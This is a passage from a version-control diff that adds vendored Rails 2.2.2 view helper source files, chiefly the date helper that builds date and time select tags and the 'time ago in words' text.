+      #   <%#  Add some other content, or use a different template: %>
+      # 
+      #   <% content_for :navigation do %>
+      #     <li><%= link_to 'Login', :action => 'login' %></li>
+      #   <% end %>
+      #
+      # Then, in another template or layout, this code would render both links in order:
+      #
+      #   <ul><%= yield :navigation %></ul>
+      #
+      # Lastly, simple content can be passed as a parameter:
+      #
+      #   <% content_for :script, javascript_include_tag(:defaults) %>
+      #
+      # WARNING: content_for is ignored in caches. So you shouldn't use it
+      # for elements that will be fragment cached.
+      #
+      # The deprecated way of accessing a content_for block is to use an instance variable
+      # named <tt>@content_for_#{name_of_the_content_block}</tt>. The preferred usage is now
+      # <tt><%= yield :footer %></tt>.
+      def content_for(name, content = nil, &block)
+        ivar = "@content_for_#{name}"
+        content = capture(&block) if block_given?
+        instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{content}")
+        nil
+      end
+
+      # Use an alternate output buffer for the duration of the block.
+      # Defaults to a new empty string.
+      def with_output_buffer(buf = '') #:nodoc:
+        self.output_buffer, old_buffer = buf, output_buffer
+        yield
+        output_buffer
+      ensure
+        self.output_buffer = old_buffer
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/date_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/date_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/date_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,901 @@
+require "date"
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+  module Helpers
+    # The Date Helper primarily creates select/option tags for different kinds of dates and date elements. All of the
+    # select-type methods share a number of common options that are as follows:
+    #
+    # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
+    # would give birthday[month] instead of date[month] if passed to the select_month method.
+    # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
+    # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
+    #   the select_month method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead of
+    #   "date[month]".
+    module DateHelper
+      # Reports the approximate distance in time between two Time or Date objects or integers as seconds.
+      # Set <tt>include_seconds</tt> to true if you want more detailed approximations when distance < 1 min, 29 secs
+      # Distances are reported based on the following table:
+      #
+      #   0 <-> 29 secs                                                             # => less than a minute
+      #   30 secs <-> 1 min, 29 secs                                                # => 1 minute
+      #   1 min, 30 secs <-> 44 mins, 29 secs                                       # => [2..44] minutes
+      #   44 mins, 30 secs <-> 89 mins, 29 secs                                     # => about 1 hour
+      #   89 mins, 29 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
+      #   23 hrs, 59 mins, 29 secs <-> 47 hrs, 59 mins, 29 secs                     # => 1 day
+      #   47 hrs, 59 mins, 29 secs <-> 29 days, 23 hrs, 59 mins, 29 secs            # => [2..29] days
+      #   29 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
+      #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
+      #   1 yr <-> 2 yrs minus 1 secs                                               # => about 1 year
+      #   2 yrs <-> max time or date                                                # => over [2..X] years
+      #
+      # With <tt>include_seconds</tt> = true and the difference < 1 minute 29 seconds:
+      #   0-4   secs      # => less than 5 seconds
+      #   5-9   secs      # => less than 10 seconds
+      #   10-19 secs      # => less than 20 seconds
+      #   20-39 secs      # => half a minute
+      #   40-59 secs      # => less than a minute
+      #   60-89 secs      # => 1 minute
+      #
+      # ==== Examples
+      #   from_time = Time.now
+      #   distance_of_time_in_words(from_time, from_time + 50.minutes)        # => about 1 hour
+      #   distance_of_time_in_words(from_time, 50.minutes.from_now)           # => about 1 hour
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds)        # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds, true)  # => less than 20 seconds
+      #   distance_of_time_in_words(from_time, 3.years.from_now)              # => over 3 years
+      #   distance_of_time_in_words(from_time, from_time + 60.hours)          # => about 3 days
+      #   distance_of_time_in_words(from_time, from_time + 45.seconds, true)  # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time - 45.seconds, true)  # => less than a minute
+      #   distance_of_time_in_words(from_time, 76.seconds.from_now)           # => 1 minute
+      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)   # => about 1 year
+      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => over 4 years
+      #
+      #   to_time = Time.now + 6.years + 19.days
+      #   distance_of_time_in_words(from_time, to_time, true)     # => over 6 years
+      #   distance_of_time_in_words(to_time, from_time, true)     # => over 6 years
+      #   distance_of_time_in_words(Time.now, Time.now)           # => less than a minute
+      #
+      def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false, options = {})
+        from_time = from_time.to_time if from_time.respond_to?(:to_time)
+        to_time = to_time.to_time if to_time.respond_to?(:to_time)
+        distance_in_minutes = (((to_time - from_time).abs)/60).round
+        distance_in_seconds = ((to_time - from_time).abs).round
+
+        I18n.with_options :locale => options[:locale], :scope => :'datetime.distance_in_words' do |locale|
+          case distance_in_minutes
+            when 0..1
+              return distance_in_minutes == 0 ?
+                     locale.t(:less_than_x_minutes, :count => 1) :
+                     locale.t(:x_minutes, :count => distance_in_minutes) unless include_seconds
+
+              case distance_in_seconds
+                when 0..4   then locale.t :less_than_x_seconds, :count => 5
+                when 5..9   then locale.t :less_than_x_seconds, :count => 10
+                when 10..19 then locale.t :less_than_x_seconds, :count => 20
+                when 20..39 then locale.t :half_a_minute
+                when 40..59 then locale.t :less_than_x_minutes, :count => 1
+                else             locale.t :x_minutes,           :count => 1
+              end
+
+            when 2..44           then locale.t :x_minutes,      :count => distance_in_minutes
+            when 45..89          then locale.t :about_x_hours,  :count => 1
+            when 90..1439        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
+            when 1440..2879      then locale.t :x_days,         :count => 1
+            when 2880..43199     then locale.t :x_days,         :count => (distance_in_minutes / 1440).round
+            when 43200..86399    then locale.t :about_x_months, :count => 1
+            when 86400..525599   then locale.t :x_months,       :count => (distance_in_minutes / 43200).round
+            when 525600..1051199 then locale.t :about_x_years,  :count => 1
+            else                      locale.t :over_x_years,   :count => (distance_in_minutes / 525600).round
+          end
+        end
+      end
+
+      # Like distance_of_time_in_words, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+      #
+      # ==== Examples
+      #   time_ago_in_words(3.minutes.from_now)       # => 3 minutes
+      #   time_ago_in_words(Time.now - 15.hours)      # => 15 hours
+      #   time_ago_in_words(Time.now)                 # => less than a minute
+      #
+      #   from_time = Time.now - 3.days - 14.minutes - 25.seconds     # => 3 days
+      def time_ago_in_words(from_time, include_seconds = false)
+        distance_of_time_in_words(from_time, Time.now, include_seconds)
+      end
+
+      alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
+
+      # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
+      # attribute (identified by +method+) on an object assigned to the template (identified by +object+). You can
+      # the output in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
+      #    "2" instead of "February").
+      # * <tt>:use_short_month</tt>   - Set to true if you want to use the abbreviated month name instead of the full
+      #   name (e.g. "Feb" instead of "February").
+      # * <tt>:add_month_number</tt>  - Set to true if you want to show both, the month's number and name (e.g.
+      #   "2 - February" instead of "February").
+      # * <tt>:use_month_names</tt>   - Set to an array with 12 month names if you want to customize month names.
+      #   Note: You can also use Rails' new i18n functionality for this.
+      # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
+      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
+      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
+      # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
+      #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
+      #   first of the given month in order to not create invalid dates like 31 February.
+      # * <tt>:discard_month</tt>     - Set to true if you don't want to show a month select. This includes the month
+      #   as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
+      # * <tt>:discard_year</tt>      - Set to true if you don't want to show a year select. This includes the year
+      #   as a hidden field instead of showing a select field.
+      # * <tt>:order</tt>             - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> do
+      #   customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
+      #   select will not be shown (like when you set <tt>:discard_xxx => true</tt>. Defaults to the order defined in
+      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+      # * <tt>:include_blank</tt>     - Include a blank option in every select field so it's possible to set empty
+      #   dates.
+      # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is nil.
+      # * <tt>:disabled</tt>          - Set to true if you want show the select fields as disabled.
+      #
+      # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
+      #
+      # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
+      #
+      # ==== Examples
+      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute
+      #   date_select("post", "written_on")
+      #
+      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute,
+      #   # with the year in the year drop down box starting at 1995.
+      #   date_select("post", "written_on", :start_year => 1995)
+      #
+      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute,
+      #   # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
+      #   # and without a day select box.
+      #   date_select("post", "written_on", :start_year => 1995, :use_month_numbers => true,
+      #                                     :discard_day => true, :include_blank => true)
+      #
+      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute
+      #   # with the fields ordered as day, month, year rather than month, day, year.
+      #   date_select("post", "written_on", :order => [:day, :month, :year])
+      #
+      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
+      #   # lacking a year field.
+      #   date_select("user", "birthday", :order => [:month, :day])
+      #
+      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
+      #   # which is initially set to the date 3 days from the current date
+      #   date_select("post", "written_on", :default => 3.days.from_now)
+      #
+      #   # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
+      #   # that will have a default day of 20.
+      #   date_select("credit_card", "bill_due", :default => { :day => 20 })
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      #
+      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+      # all month choices are valid.
+      def date_select(object_name, method, options = {}, html_options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_date_select_tag(options, html_options)
+      end
+
+      # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
+      # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
+      # +object+). You can include the seconds with <tt>:include_seconds</tt>.
+      #
+      # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
+      # <tt>:ignore_date</tt> is set to +true+.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      # ==== Examples
+      #   # Creates a time select tag that, when POSTed, will be stored in the post variable in the sunrise attribute
+      #   time_select("post", "sunrise")
+      #
+      #   # Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted
+      #   # attribute
+      #   time_select("order", "submitted")
+      #
+      #   # Creates a time select tag that, when POSTed, will be stored in the mail variable in the sent_at attribute
+      #   time_select("mail", "sent_at")
+      #
+      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the post variables in
+      #   # the sunrise attribute.
+      #   time_select("post", "start_time", :include_seconds => true)
+      #
+      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the entry variables in
+      #   # the submission_time attribute.
+      #   time_select("entry", "submission_time", :include_seconds => true)
+      #
+      #   # You can set the :minute_step to 15 which will give you: 00, 15, 30 and 45.
+      #   time_select 'game', 'game_time', {:minute_step => 15}
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      #
+      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+      # all month choices are valid.
+      def time_select(object_name, method, options = {}, html_options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_time_select_tag(options, html_options)
+      end
+
+      # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
+      # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
+      # by +object+). Examples:
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      # ==== Examples
+      #   # Generates a datetime select that, when POSTed, will be stored in the post variable in the written_on
+      #   # attribute
+      #   datetime_select("post", "written_on")
+      #
+      #   # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
+      #   # post variable in the written_on attribute.
+      #   datetime_select("post", "written_on", :start_year => 1995)
+      #
+      #   # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
+      #   # be stored in the trip variable in the departing attribute.
+      #   datetime_select("trip", "departing", :default => 3.days.from_now)
+      #
+      #   # Generates a datetime select that discards the type that, when POSTed, will be stored in the post variable
+      #   # as the written_on attribute.
+      #   datetime_select("post", "written_on", :discard_type => true)
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      def datetime_select(object_name, method, options = {}, html_options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_datetime_select_tag(options, html_options)
+      end
+
+      # Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the
+      # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
+      # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
+      # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
+      # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
+      # control visual display of the elements.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      # ==== Examples
+      #   my_date_time = Time.now + 4.days
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   select_datetime(my_date_time)
+      #
+      #   # Generates a datetime select that defaults to today (no specified datetime)
+      #   select_datetime()
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with the fields ordered year, month, day rather than month, day, year.
+      #   select_datetime(my_date_time, :order => [:year, :month, :day])
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with a '/' between each date field.
+      #   select_datetime(my_date_time, :date_separator => '/')
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with a date fields separated by '/', time fields separated by '' and the date and time fields
+      #   # separated by a comma (',').
+      #   select_datetime(my_date_time, :date_separator => '/', :time_separator => '', :datetime_separator => ',')
+      #
+      #   # Generates a datetime select that discards the type of the field and defaults to the datetime in
+      #   # my_date_time (four days after today)
+      #   select_datetime(my_date_time, :discard_type => true)
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # prefixed with 'payday' rather than 'date'
+      #   select_datetime(my_date_time, :prefix => 'payday')
+      #
+      def select_datetime(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_datetime
+      end
+
+      # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
+      # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
+      # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not supply a Symbol,
+      # it will be appended onto the <tt>:order</tt> passed in.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      # ==== Examples
+      #   my_date = Time.today + 6.days
+      #
+      #   # Generates a date select that defaults to the date in my_date (six days after today)
+      #   select_date(my_date)
+      #
+      #   # Generates a date select that defaults to today (no specified date)
+      #   select_date()
+      #
+      #   # Generates a date select that defaults to the date in my_date (six days after today)
+      #   # with the fields ordered year, month, day rather than month, day, year.
+      #   select_date(my_date, :order => [:year, :month, :day])
+      #
+      #   # Generates a date select that discards the type of the field and defaults to the date in
+      #   # my_date (six days after today)
+      #   select_date(my_date, :discard_type => true)
+      #
+      #   # Generates a date select that defaults to the date in my_date,
+      #   # which has fields separated by '/'
+      #   select_date(my_date, :date_separator => '/')
+      #
+      #   # Generates a date select that defaults to the datetime in my_date (six days after today)
+      #   # prefixed with 'payday' rather than 'date'
+      #   select_date(my_date, :prefix => 'payday')
+      #
+      def select_date(date = Date.current, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_date
+      end
+
+      # Returns a set of html select-tags (one for hour and minute)
+      # You can set <tt>:time_separator</tt> key to format the output, and
+      # the <tt>:include_seconds</tt> option to include an input for seconds.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      # ==== Examples
+      #   my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
+      #
+      #   # Generates a time select that defaults to the time in my_time
+      #   select_time(my_time)
+      #
+      #   # Generates a time select that defaults to the current time (no specified time)
+      #   select_time()
+      #
+      #   # Generates a time select that defaults to the time in my_time,
+      #   # which has fields separated by ':'
+      #   select_time(my_time, :time_separator => ':')
+      #
+      #   # Generates a time select that defaults to the time in my_time,
+      #   # that also includes an input for seconds
+      #   select_time(my_time, :include_seconds => true)
+      #
+      #   # Generates a time select that defaults to the time in my_time, that has fields
+      #   # separated by ':' and includes an input for seconds
+      #   select_time(my_time, :time_separator => ':', :include_seconds => true)
+      #
+      def select_time(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_time
+      end
+
+      # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+      # The <tt>second</tt> can also be substituted for a second number.
+      # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
+      #
+      # ==== Examples
+      #   my_time = Time.now + 16.minutes
+      #
+      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
+      #   select_second(my_time)
+      #
+      #   # Generates a select field for seconds that defaults to the number given
+      #   select_second(33)
+      #
+      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
+      #   # that is named 'interval' rather than 'second'
+      #   select_second(my_time, :field_name => 'interval')
+      #
+      def select_second(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_second
+      end
+
+      # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+      # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
+      # selected. The <tt>minute</tt> can also be substituted for a minute number.
+      # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
+      #
+      # ==== Examples
+      #   my_time = Time.now + 6.hours
+      #
+      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
+      #   select_minute(my_time)
+      #
+      #   # Generates a select field for minutes that defaults to the number given
+      #   select_minute(14)
+      #
+      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
+      #   # that is named 'stride' rather than 'second'
+      #   select_minute(my_time, :field_name => 'stride')
+      #
+      def select_minute(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_minute
+      end
+
+      # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+      # The <tt>hour</tt> can also be substituted for a hour number.
+      # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
+      #
+      # ==== Examples
+      #   my_time = Time.now + 6.hours
+      #
+      #   # Generates a select field for hours that defaults to the hour for the time in my_time
+      #   select_hour(my_time)
+      #
+      #   # Generates a select field for hours that defaults to the number given
+      #   select_hour(13)
+      #
+      #   # Generates a select field for hours that defaults to the minutes for the time in my_time
+      #   # that is named 'stride' rather than 'second'
+      #   select_hour(my_time, :field_name => 'stride')
+      #
+      def select_hour(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_hour
+      end
+
+      # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+      # The <tt>date</tt> can also be substituted for a hour number.
+      # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
+      #
+      # ==== Examples
+      #   my_date = Time.today + 2.days
+      #
+      #   # Generates a select field for days that defaults to the day for the date in my_date
+      #   select_day(my_time)
+      #
+      #   # Generates a select field for days that defaults to the number given
+      #   select_day(5)
+      #
+      #   # Generates a select field for days that defaults to the day for the date in my_date
+      #   # that is named 'due' rather than 'day'
+      #   select_day(my_time, :field_name => 'due')
+      #
+      def select_day(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_day
+      end
+
+      # Returns a select tag with options for each of the months January through December with the current month
+      # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
+      # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
+      # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
+      # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
+      # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
+      # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
+      # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
+      #
+      # ==== Examples
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "January", "March".
+      #   select_month(Date.today)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # is named "start" rather than "month"
+      #   select_month(Date.today, :field_name => 'start')
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "1", "3".
+      #   select_month(Date.today, :use_month_numbers => true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "1 - January", "3 - March".
+      #   select_month(Date.today, :add_month_numbers => true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "Jan", "Mar".
+      #   select_month(Date.today, :use_short_month => true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "Januar", "Marts."
+      #   select_month(Date.today, :use_month_names => %w(Januar Februar Marts ...))
+      #
+      def select_month(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_month
+      end
+
+      # Returns a select tag with options for each of the five years on each side of the current, which is selected.
+      # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
+      # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
+      # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
+      # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
+      #
+      # ==== Examples
+      #   # Generates a select field for years that defaults to the current year that
+      #   # has ascending year values
+      #   select_year(Date.today, :start_year => 1992, :end_year => 2007)
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # is named 'birth' rather than 'year'
+      #   select_year(Date.today, :field_name => 'birth')
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # has descending year values
+      #   select_year(Date.today, :start_year => 2005, :end_year => 1900)
+      #
+      #   # Generates a select field for years that defaults to the year 2006 that
+      #   # has ascending year values
+      #   select_year(2006, :start_year => 2000, :end_year => 2010)
+      #
+      def select_year(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_year
+      end
+    end
+
+    class DateTimeSelector #:nodoc:
+      extend ActiveSupport::Memoizable
+      include ActionView::Helpers::TagHelper
+
+      DEFAULT_PREFIX = 'date'.freeze unless const_defined?('DEFAULT_PREFIX')
+      POSITION = {
+        :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
+      }.freeze unless const_defined?('POSITION')
+
+      def initialize(datetime, options = {}, html_options = {})
+        @options      = options.dup
+        @html_options = html_options.dup
+        @datetime     = datetime
+      end
+
+      def select_datetime
+        # TODO: Remove tag conditional
+        # Ideally we could just join select_date and select_date for the tag case
+        if @options[:tag] && @options[:ignore_date]
+          select_time
+        elsif @options[:tag]
+          order = date_order.dup
+          order -= [:hour, :minute, :second]
+
+          @options[:discard_year]   ||= true unless order.include?(:year)
+          @options[:discard_month]  ||= true unless order.include?(:month)
+          @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
+          @options[:discard_minute] ||= true if @options[:discard_hour]
+          @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
+
+          # If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
+          # valid (otherwise it could be 31 and february wouldn't be a valid date)
+          if @datetime && @options[:discard_day] && !@options[:discard_month]
+            @datetime = @datetime.change(:day => 1)
+          end
+
+          [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+          order += [:hour, :minute, :second] unless @options[:discard_hour]
+
+          build_selects_from_types(order)
+        else
+          "#{select_date}#{@options[:datetime_separator]}#{select_time}"
+        end
+      end
+
+      def select_date
+        order = date_order.dup
+
+        # TODO: Remove tag conditional
+        if @options[:tag]
+          @options[:discard_hour]     = true
+          @options[:discard_minute]   = true
+          @options[:discard_second]   = true
+
+          @options[:discard_year]   ||= true unless order.include?(:year)
+          @options[:discard_month]  ||= true unless order.include?(:month)
+          @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
+
+          # If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
+          # valid (otherwise it could be 31 and february wouldn't be a valid date)
+          if @datetime && @options[:discard_day] && !@options[:discard_month]
+            @datetime = @datetime.change(:day => 1)
+          end
+        end
+
+        [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+
+        build_selects_from_types(order)
+      end
+
+      def select_time
+        order = []
+
+        # TODO: Remove tag conditional
+        if @options[:tag]
+          @options[:discard_month]    = true
+          @options[:discard_year]     = true
+          @options[:discard_day]      = true
+          @options[:discard_second] ||= true unless @options[:include_seconds]
+
+          order += [:year, :month, :day] unless @options[:ignore_date]
+        end
+
+        order += [:hour, :minute]
+        order << :second if @options[:include_seconds]
+
+        build_selects_from_types(order)
+      end
+
+      def select_second
+        if @options[:use_hidden] || @options[:discard_second]
+          build_hidden(:second, sec) if @options[:include_seconds]
+        else
+          build_options_and_select(:second, sec)
+        end
+      end
+
+      def select_minute
+        if @options[:use_hidden] || @options[:discard_minute]
+          build_hidden(:minute, min)
+        else
+          build_options_and_select(:minute, min, :step => @options[:minute_step])
+        end
+      end
+
+      def select_hour
+        if @options[:use_hidden] || @options[:discard_hour]
+          build_hidden(:hour, hour)
+        else
+          build_options_and_select(:hour, hour, :end => 23)
+        end
+      end
+
+      def select_day
+        if @options[:use_hidden] || @options[:discard_day]
+          build_hidden(:day, day)
+        else
+          build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false)
+        end
+      end
+
+      def select_month
+        if @options[:use_hidden] || @options[:discard_month]
+          build_hidden(:month, month)
+        else
+          month_options = []
+          1.upto(12) do |month_number|
+            options = { :value => month_number }
+            options[:selected] = "selected" if month == month_number
+            month_options << content_tag(:option, month_name(month_number), options) + "\n"
+          end
+          build_select(:month, month_options.join)
+        end
+      end
+
+      def select_year
+        if !@datetime || @datetime == 0
+          val = ''
+          middle_year = Date.today.year
+        else
+          val = middle_year = year
+        end
+
+        if @options[:use_hidden] || @options[:discard_year]
+          build_hidden(:year, val)
+        else
+          options                 = {}
+          options[:start]         = @options[:start_year] || middle_year - 5
+          options[:end]           = @options[:end_year] || middle_year + 5
+          options[:step]          = options[:start] < options[:end] ? 1 : -1
+          options[:leading_zeros] = false
+
+          build_options_and_select(:year, val, options)
+        end
+      end
+
+      private
+        %w( sec min hour day month year ).each do |method|
+          define_method(method) do
+            @datetime.kind_of?(Fixnum) ? @datetime : @datetime.send(method) if @datetime
+          end
+        end
+
+        # Returns translated month names, but also ensures that a custom month
+        # name array has a leading nil element
+        def month_names
+          month_names = @options[:use_month_names] || translated_month_names
+          month_names.unshift(nil) if month_names.size < 13
+          month_names
+        end
+        memoize :month_names
+
+        # Returns translated month names
+        #  => [nil, "January", "February", "March",
+        #           "April", "May", "June", "July",
+        #           "August", "September", "October",
+        #           "November", "December"]
+        #
+        # If :use_short_month option is set
+        #  => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+        #           "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
+        def translated_month_names
+          begin
+            key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
+            I18n.translate(key, :locale => @options[:locale])
+          end
+        end
+
+        # Lookup month name for number
+        #  month_name(1) => "January"
+        #
+        # If :use_month_numbers option is passed
+        #  month_name(1) => 1
+        #
+        # If :add_month_numbers option is passed
+        #  month_name(1) => "1 - January"
+        def month_name(number)
+          if @options[:use_month_numbers]
+            number
+          elsif @options[:add_month_numbers]
+            "#{number} - #{month_names[number]}"
+          else
+            month_names[number]
+          end
+        end
+
+        def date_order
+          @options[:order] || translated_date_order
+        end
+        memoize :date_order
+
+        def translated_date_order
+          begin
+            I18n.translate(:'date.order', :locale => @options[:locale]) || []
+          end
+        end
+
+        # Build full select tag from date type and options
+        def build_options_and_select(type, selected, options = {})
+          build_select(type, build_options(selected, options))
+        end
+
+        # Build select option html from date value and options
+        #  build_options(15, :start => 1, :end => 31)
+        #  => "<option value="1">1</option>
+        #      <option value=\"2\">2</option>
+        #      <option value=\"3\">3</option>..."
+        def build_options(selected, options = {})
+          start         = options.delete(:start) || 0
+          stop          = options.delete(:end) || 59
+          step          = options.delete(:step) || 1
+          leading_zeros = options.delete(:leading_zeros).nil? ? true : false
+
+          select_options = []
+          start.step(stop, step) do |i|
+            value = leading_zeros ? sprintf("%02d", i) : i
+            tag_options = { :value => value }
+            tag_options[:selected] = "selected" if selected == i
